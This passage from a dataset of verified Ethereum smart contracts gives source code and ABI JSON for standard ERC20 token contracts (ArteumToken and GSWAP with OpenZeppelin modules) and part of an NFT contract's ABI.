e":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"isWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"nftPerAddressLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"notRevealedUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"onlyWhitelisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"pause","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"pauseBurn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pausedBurn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reveal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseExtension","type":"string"}],"name":"setBaseExtension","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newCost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"setNftPerAddressLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_notRevealedURI","type":"string"}],"name":"setNotRevealedURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setOnlyWhitelisted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newmaxMintAmount","type":"uint256"}],"name":"setmaxMintAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_users","type":"address[]"}],"name":"whitelistUsers","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"whitelistedAddresses","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"payable","type":"function"}] | v0.8.7+commit.e28d00a7 | true | 200 | 000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000160000000000000000000000000000000000000000000000000000000000000000b6c69717569646d6574616c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034c4d5400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d51646a636a3239633657586d3866795a545438517a643161745a66436a4c7046773768333358716e4a4c42312f000000000000000000000000000000000000000000000000000000000000000000000000000000000041697066733a2f2f516d58637362544c46636e57524b726b3235556e3845654b58373550674c5555436734684a7341677a4e6b4164792f68696464656e2e6a736f6e00000000000000000000000000000000000000000000000000000000000000 | Default | MIT | false | ipfs://e218e8923b4f0078578fbc5eb27017c4c10426d042e03fe490a67d5bfa3947b5 |
||
ArteumToken | ArteumToken.sol | 0xa8864d95fc2a15dd1d1a5649dd9ddf1c756a6f30 | Solidity | pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ARU' 'Arteum' token contract
//
// Symbol : ARU
// Name : Arteum
// Total supply: 100,000,000.000000000000000000
// Decimals : 18
//
//
//
// (c) BokkyPooBah / Bok Consulting Pty Ltd 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract ArteumToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ArteumToken() public {
symbol = "ARU";
name = "Arteum";
decimals = 18;
_totalSupply = 100000000 * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | [{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"from","type":"address"},{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"tokens","type":"uint256"},{"name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"tokenAddress","type":"address"},{"name":"tokens","type":"uint256"}],"name":"transferAnyERC20Token","outputs":[{"name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":true,"name":"_from","type":"address"},{"indexed":true,"name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}] | v0.4.21+commit.dfe3193c | true | 200 | Default | false | bzzr://88d2a45d6a81953274c60912f0acbe0c6801ba9c63cd119294cb218b721d90ad |
||||
GSWAP | @openzeppelin/contracts/token/ERC20/ERC20.sol | 0xaac41ec512808d64625576eddd580e7ea40ef8b2 | Solidity | pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"}],"name":"withdrawAny","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.6.12+commit.27d51765 | true | 200 | Default | MIT | false | ipfs://1ea28dabcf5f8d0235d638bf383b7b6fb298769101c6e11d7b6bf88d3f9e465b |
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GSWAP | @openzeppelin/contracts/access/Ownable.sol | 0xaac41ec512808d64625576eddd580e7ea40ef8b2 | Solidity | pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity 0.6.12;
contract GSWAP is ERC20("gameswap.org", "GSWAP"), Ownable {
constructor() public {
_mint(msg.sender, 20000000 * 10**18);
}
//in case some accidental tokens end up here
function withdrawAny(IERC20 _token) public onlyOwner {
_token.transfer(msg.sender, _token.balanceOf(address(this)));
}
} | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"n